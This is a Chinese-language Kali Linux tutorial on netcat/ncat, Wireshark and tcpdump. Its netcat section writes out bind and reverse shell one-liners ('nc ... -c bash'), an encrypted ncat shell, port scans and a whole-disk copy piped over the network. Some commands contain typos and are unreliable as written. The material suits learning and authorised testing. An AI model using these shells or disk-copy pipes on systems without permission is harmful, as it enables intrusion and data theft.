Kali Linux 从入门到精通(六)-基本工具使用

Kali Linux 从入门到精通(六)-基本工具使用

基本工具

• 常用工具:
  • 经常使用且功能强大
  • 安全从业者必不可少的帮手
  • Nc/ncat
  • Wireshark
  • Tcpdump

NETCAT-NC(瑞士军刀)

• 基本介绍
  • 网络工具中的瑞士军刀-小身材,大智慧
  • 侦听模式/传输模式
  • telnet/获取banner模式
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所用流量
  • 流媒体服务器
  • 远程克隆硬盘
• 一波操作
  • NC-TELNET/BANNER
    • nc-nv 1.1.1.1 110 (pop3 服务器)
    • nc-nv 1.1.1.1 25 (smtp 邮件服务器)
    • nc-nv 1.1.1.1 80 (网站)
    • nc -h 查看nc可用参数
  • NC-传输文本信息
    • A:nc -l -p 4444(打开4444端口) 使用netstat -pantu | grep 4444 查看端口是否打开
    • B:nc -nv 1.1.1.1 4444
    • nc -q 传输后直接断连接
    • 远程电子取证信息收集
  • NC-传输文件/目录
    • 传输文件
      • A:nc -lp 333>test.mp4
      • B:nc -nv 1.1.1.1 333 < test.mp4 -q 1
      • or
      • A: nc-q l -lp 333<a.mp4
      • B: nc-nv 1.1.1.1 333>2.mp4
    • 传输目录
      • A:tar -cvf -music/ | nc-lp 333 -q 1
      • B:nc -nv 1.1.1.1 333 | tar -xvf -
    • 加密传文件
      • A:nc -lp 333 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
      • B:mcrypt --flush -Fbq -a rjindael-256-m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q 1(对称加密算法)
  • NC-流媒体服务
    • A:cat 1.mp4 | nc -lp 333
    • B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
  • NC-端口扫描
    • nc -nvz 1.1.1.1-65535 (探测tcp端口)
    • nc -nvzu 1.1.1.1-1024 (探测udp端口)
  • NC-远程克隆硬盘
    • A(接收端):nc -lp 333 | dd of=/dev/sda
    • B(被取证电脑):dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
    • 远程电子取证,可以将目标服务器远程复制,或者内存
  • NC-远程控制
    • 正向:
      • A(服务器):nc -lp 333 -c bash
      • B(客户端):nc 1.1.1.1 333
    • 反向:
      • A:nc -lp 333
      • B:nc 1.1.1.1 333 -c bash
    • 注:windows用户把bash改成cmd
    • 适用于内网访问外网
  • NC-NCAT

    • NC缺乏加密和身份验证(肉鸡可能被窃取)的能力

    • Ncat包含于nmap工具包中(可实现加密,身份验证,每次会重新生成指纹信息)

    • A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl

    • B:ncat -nv 1.1.1.1 333 --ssl

    • 不同系统/平台的nc参数功能不尽相同

WIRESHARK(后续补充)-被动扫描大法

• 基本介绍
  • 抓包嗅探协议分析
  • 安全专家必备的技能
  • 抓包引擎
    • Libcap9----Linux
    • Winpcap10—Windows
  • 解码能力(评价之根本)
• 基本使用方法
  • 启动
  • 选择抓包网卡
  • 混杂模式
  • 实时抓包
  • 保存和分析捕获文件
  • 首选项
• WIRESHARK-筛选器
  • 过滤掉干扰的数据包
  • 抓包筛选器
  • 显示筛选器
• WIRESHARK-常见协议包
  • 数据的分层结构
  • ARP
  • ICMP
  • TCP(三次握手)
  • UDP
  • DNS
  • HTTP(明文协议)
  • FTP
• WIRESHARK-TCP
  • 数据流
    • HTTP
    • SMTP
    • POP3
    • SSL
• WIRESHARK-信息统计
  • 节点数
  • 协议分布
  • 包大小分布
  • 会话连接
  • 解码方式
  • 专家系统
• WIRESHARK-实践
  • 抓包对比nc,ncat加密与不加密的流量
  • 企业抓包部署方案(采用商业化软件)
    • Sniffer
    • Cace/riverebed (底层基于wireshark)
    • Cascad pilot(大流量抓包++)
    • 镜像端口(Cisco)

TCPDUMP

• 基本介绍
  • No-GUI的抓包分析工具
  • Linux,Unix系统默认安装
• TCPDUMP-抓包
  • 抓包
    • 默认只抓68个字节
    • tcpdump -i eth0 -s 0 -2 file.pcap
    • tcpdump -i eth0 port 22
  • 读取抓包文件
    • tcpdump -r file.pcap
• TCPDUMP-筛选
  • tcpdump -n http.cap | awk ‘{print $3}’ | sort -u
  • tcpdump -n src host [ip address] -r http.cap
  • tcpdump -n dst host [ip address] -r http.cap
  • tcpdump -n port 53 -r http.cap
  • tcpdump -nX port 80 -r http.cap
• TCP 高级筛选
  • tcpdump -A -n ‘tcp[13]=24’ -r http.cap
• 过程文档记录
  • Dradis(Kali 自带)
    • 短期临时小团队资源共享
    • 各种插件导入问价
  • Keepnote
  • Truecrypt(注重信息保密)
  • 团队中需要文档人员